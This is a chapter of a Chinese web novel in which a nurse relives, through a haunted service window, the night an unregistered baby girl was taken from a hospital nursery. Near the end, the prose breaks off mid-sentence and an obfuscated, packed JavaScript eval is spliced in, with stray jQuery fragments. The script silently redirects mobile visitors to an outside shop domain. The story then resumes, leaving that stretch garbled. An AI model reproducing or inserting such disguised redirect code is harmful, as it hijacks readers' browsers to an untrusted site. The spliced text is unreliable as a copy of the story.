三号窗口前。
许曼脚下那圈灰白色的亡者归档圈已经被暂时冻结，像一枚没盖完的旧章，卡在她的影子边缘。
电脑屏幕上还停着那几行字。
【A001号缺失材料三：现存照护残响】
【确认对象：许曼】
【状态：暂未归档】
【请于71小时内提交材料一、材料二】
“许女士，你现在能继续回忆吗？”
许曼看向周主任，深吸一口气。
“能。”
她说：“我也想知道，我到底为什么被写死。”
闻厄站在休息室门口。
他的眼睛还没有完全恢复，像隔着一层薄雾在看人间。月照迟站在他旁边，抱着红线簿，一脸“我为什么还在加班”的表情。
夏圆圆悄悄伸出两根手指，在闻厄面前晃了晃。
“这是几？”
闻厄看了她一眼。
“你的手。”
夏圆圆：“我是问几根手指。”
闻厄沉默片刻。
“模糊的人间枝条。”
夏圆圆转头对鹿照影汇报：“还没好。”
鹿照影：“别逗他。”
夏圆圆立刻把手收回来。
闻厄却准确朝鹿照影的方向偏了偏头。
鹿照影顿了一下。
“你能看见我？”
“只能看见一点。”
“什么一点？”
闻厄很认真地想了想。
“轮廓。”
夏圆圆捂住嘴。
月照迟看了她一眼。
“你脑子里的弹幕太吵了。”
夏圆圆立刻把嘴捂得更紧。
三号窗口的灯轻轻闪了一下。
许曼低声说：“那天晚上，第三医院旧育婴室停电。”
她的声音刚落下，三号窗口的玻璃忽然泛起一层雾。
不是水汽。
更像旧胶片被放进灯箱，边缘发黄，中央一点点亮起来。
夏圆圆小声：“主任，它开始放回忆了。”
周主任：“记录。”
夏圆圆立刻低头写：
【许曼回忆复现，地点疑似第三医院旧育婴室。】
她想了想，又补了一句：
【备注：请勿触碰灰圈，请勿让闻厄靠近发财树。】
周主任看她一眼。
夏圆圆把第二句划掉。
玻璃里的雾气散开。
一条医院走廊出现在众人眼前。
应急灯一闪一闪，墙皮发黄，地面上有水渍，远处传来婴儿很轻的哭声。空气里似乎有消毒水和雨夜潮气混在一起的味道。
许曼的声音跟着画面响起。
“那年我二十五岁，在新生儿科轮岗。”
“旧育婴室早就该停用了，但是第三医院那阵子病房改造，人手不够，有些临时照看的孩子还会送过去。”
“那天晚上，整层楼只有旧育婴室停电。”
“我拿手电进去的时候，看见最里面的保温箱里，多了一个孩子。”
画面里，年轻的许曼推开育婴室的门。
她穿着浅蓝色护士服，头发扎得很低，手里拿着手电。她的脸比现在年轻，却一样不太好惹。
保温箱里躺着一个女婴。
小小的一团。
她没有哭。
旁边的新生儿腕带栏是空的，姓名栏空白，母亲姓名空白，床号空白。
年轻许曼皱起眉。
“谁送来的？”
没有人回答。
走廊尽头，雨声很大。
年轻的许曼把手伸进保温箱，轻轻碰了碰女婴的脚心。
女婴动了一下。
鹿照影站在三号窗口前，看着玻璃里的那个孩子，呼吸慢慢放轻。
年轻许曼低声骂了一句：“哪个缺德的，孩子也不登记？”
她把女婴抱起来，用小毯子裹好。
女婴睁着眼睛。
不哭，也不闹。
年轻许曼看着她，“不哭也没用，该哭得哭，人活着，不能太懂事。”
夏圆圆的眼睛一下子红了，又赶紧低头假装记笔记。
年轻许曼抱着女婴转身。
一个年轻男人站在门口。
白衬衫，黑长裤，外面披着深色大衣，手上戴着一副很干净的白手套。他看起来比现在的沈既白更年轻，眉眼却几乎没有变化。
干净，温和，像一盏不会晃的灯。
他手里拿着一份文件。
“许护士。”
年轻许曼警惕地看着他。
“你是谁？”
男人微微一笑。
“既白信息咨询所，沈既白。”
大厅里的人同时看向鹿照影。
鹿照影没有动。
她盯着玻璃里的沈既白。
原来二十四年前，他就已经在那里了。
年轻许曼皱眉：“信息咨询所来育婴室干什么？”
沈既白把文件递过去。
“办理转交。”
“转交什么？”
“这个孩子。”
年轻许曼抱紧女婴。
“她还没登记。”
沈既白语气很平和。
“正因为没有登记，才需要转交。”
“转去哪儿？”
沈既白翻开文件，指了指其中一栏。
玻璃上的字慢慢清晰。
【临时照护转交单】
【对象：无名女婴】
【当前状态：无亲缘登记，无监护关系，无有效出生确认】
【接收单位：三号窗口】
【业务类型：无缘样本临时保管】
夏圆圆倒吸一口气。
“样本？”
鹿照影的手指攥紧了窗口台面。
闻厄的声音在她身后响起，很低。
“那是他们写的。”
玻璃里的年轻许曼显然比她火大得多。
她一把把转交单拍回沈既白胸前。
“不签。”
沈既白看着她。
“许护士，这不是收养，也不是抱养，只是临时关系保管。”
年轻许曼气笑了。
“孩子还能保管？”
沈既白说：“关系可以。”
“她没有监护人，没有亲属签字，没有有效照护关系。如果继续留在医院，她会成为系统漏洞。”
“那就按弃婴流程走，报警，登记，找福利机构。”
沈既白轻轻摇头。
“普通流程接不住她。”
年轻许曼冷冷看他。
“普通流程接不住，我抱着。”
她把女婴往怀里护了护。
“她现在在我怀里，就是活的。”
这句话落下的瞬间，三号窗口前所有人都安静了。
鹿照影喉咙像被什么轻轻堵了一下。
她一直以为，自己出生时没有任何人替她停留过。
没有母亲。
没有父亲。
没有监护人。
没有亲缘线。
可原来，有一个轮岗护士，在二十四年前的雨夜，抱着她，跟沈既白说过“不签”。
许曼站在窗口前，看着年轻的自己，也愣住了。
她似乎也没想到，自己当年说过这句话。
顾志成在旁边小声说：“你以前脾气就这么大。”
许曼回头瞪他。
“闭嘴。”
顾志成立刻闭嘴。
沈既白没有生气，叹了口气。
“许护士，你护不住她。”
年轻许曼：“那也不是你说了算。”
“她没有线。”
“我不管她有没有线。”
年轻许曼把手电往旁边桌上一拍。
“你不是她的关系人。”
年轻许曼说：“现在是了。”
“你签过吗？”
“我抱着她。”
沈既白沉默了一下。然后，他轻轻笑了。
“很人间的判断。”
这句话让鹿照影的后背微微发凉。
下一秒，育婴室的灯忽然灭了。
玻璃里的画面陷入黑暗。
年轻许曼抱紧女婴。
“谁关灯？”
没有人回答。
走廊尽头，一盏旧灯亮了起来。
灯光昏黄，照在原本写着【消毒间】的门牌上。
那块门牌开始褪色。
字迹像被水洗掉，又重新浮现。
【三号窗口】
年轻许曼愣住。
“这是什么？”
门开了。
里面不是消毒间，而是一个很窄的窗口。
旧木台面，磨损的玻璃，小小的出票口，旁边放着一枚红色印章。
窗口后面没有人。
只有一台老式叫号机亮着红光。
【A001号，请办理原始关系暂存。】
年轻许曼往后退。
“我不办。”
叫号机又响了一声。
【A001号，请办理原始关系暂存。】
沈既白站在黑暗里，声音依旧温和。
“窗口已经叫号了。”
年轻许曼骂了一句很不适合写进正式材料的话。
夏圆圆低头奋笔疾书，又犹豫地抬头问周主任：“主任，这句记吗？”
周主任：“不记原文。”
夏圆圆：“概括为情绪激烈？”
周主任：“可以。”
年轻许曼抱着女婴转身就跑。
她冲向育婴室门口。
可门外不是医院走廊，是一个小小的等候区。
墙上挂着旧式叫号屏。
【A001】
她又推开旁边的门。
还是三号窗口。
再推。
还是三号窗口。
无论哪一扇门，门后都是那扇旧窗口。
女婴在她怀里动了一下。
小小的手指从毯子里伸出来，轻轻抓住了她护士服的袖口。
年轻许曼停住，她低头看女婴，那孩子终于像普通婴儿一样，发出了一点很轻很轻的声音。
年轻许曼眼睛一下子红了。
“别怕。”
她抱着孩子后退，转身想从窗户出去。可窗户外面，也映着三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758985|209562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
号窗口的红光。
叫号机声音越来越近。
【A001号，请办理原始关系暂存。】
年轻许曼用力捂住女婴的耳朵。
“我说不办！”
那一瞬间，窗口后的红章忽然自己抬了起来。
它落下去。
啪。
不是盖在纸上，而是盖在空气里。
年轻许曼怀里一空，她整个人僵住，毯子塌下去。
女婴不见了。
她低头，手里只剩下一条空白的新生儿腕带。
腕带上没有姓名。
没有母亲。
没有床号。
只有一行很淡的字：
【状态：暂存中】
年轻许曼像疯了一样冲向那扇窗口。
“孩子呢？”
窗口后面没有人回答，沈既白也不见了，旧灯闪了一下。
【三号窗口】的牌子重新变回【消毒间】。
育婴室恢复原状，应急灯还在闪。
雨声还在。
可孩子没有了。
玻璃里的年轻许曼抱着那条空白腕带，慢慢蹲下去。
她没有哭出声。
只是一直在重复：“我没签。”
画面到这里，忽然碎了。
三号窗口玻璃重新变透明，大厅里的灯光恢复正常。
许曼站在窗口前，脸上已经没有血色。
顾志成想扶她，又想起刚才她说不让扶，手伸到一半，又僵在空中。
许曼看了他一眼。
“扶我。”
顾志成赶紧扶住她。
夏圆圆的眼泪挂在眼眶里，嘴巴还很硬。
“这个沈既白，真的很适合被暂缓一号敲一下。”
老马看了一眼拖把。
“暂缓一号伤还没好。”
月照迟沉默了很久，才看向闻厄。
“你想起来了吗？”
闻厄站在休息室门口，脸色比刚才更冷。
“没有。”
闻厄说。
“但那枚章……”
鹿照影回头看他。
闻厄低声说：“像我的。”
大厅里再次安静。
鹿照影看着他。
“你是说，把我暂存进三号窗口的章，和你的旧誓有关？”
闻厄没有立刻回答。
“我不记得，但我认得那种声音。”
许曼扶着窗口台面，声音沙哑。
“我后来以为她死了。”
她看向鹿照影。
“那天之后，所有记录都显示，那晚育婴室没有收过无名女婴。”
“我手里那条腕带也不见了。”
“科里的人说我连续值班太累，看错了。”
“后来旧住院部事故，很多档案乱了，我就更说不清。”
她停了一下，眼眶红了。
“我真以为，她没有活下来。”
鹿照影摇头。
“你抱过她。”
许曼愣住。
鹿照影说：“还替她说过不办。”
这句话一出来，许曼眼泪一下子掉下来。
她骂了一句。
“那小孩怎么这么倒霉。”
夏圆圆吸了吸鼻子。
“许女士，您这个情绪表达方式真的很稳定。”
就在这时，三号窗口的电脑忽然亮起。
灰白色提示跳出来。
【材料三：现存照护残响，已确认】
【补录进度：1/3】
夏圆圆立刻扑到电脑前。
“确认了！”
她刚说完，屏幕又跳出第二行。
【检测到历史暂存业务未办结】
【是否继续办理A001号原始关系补录？】
下面只有一个按钮。
【继续】
鹿照影看着那个按钮，没有动。
周主任也没有催她。
闻厄低声说：“别按。”
鹿照影回头。
“为什么？”
“太顺。”
月照迟点头：“我同意。凡是只有一个按钮的流程，都不是什么好流程。”
夏圆圆小声：“霸王流程。”
电脑上的【继续】按钮闪了一下。
像在催促。
下一秒，叫号机忽然响了。
不是电脑音。
是老旧、沙哑、从很远地方传来的声音。
【A001号，请到三号窗口。】
大厅里所有人都看向三号窗口。
鹿照影坐的地方，就是三号窗口。
可那声音不像从她面前的电脑里发出来。
更像从柜台深处，从墙里，从某个二十四年前的旧育婴室里传出来。
出票口“咔哒”一声。
一条泛黄的新生儿腕带，从出票口慢慢滑了出来。
电脑屏幕闪了一下，新的提示浮出。
【A001号原始关系补录重启】
【请提交材料一：出生时被取走的白线】
【请提交材料二：旧柜封存记录】
【剩余时间：69小时03分】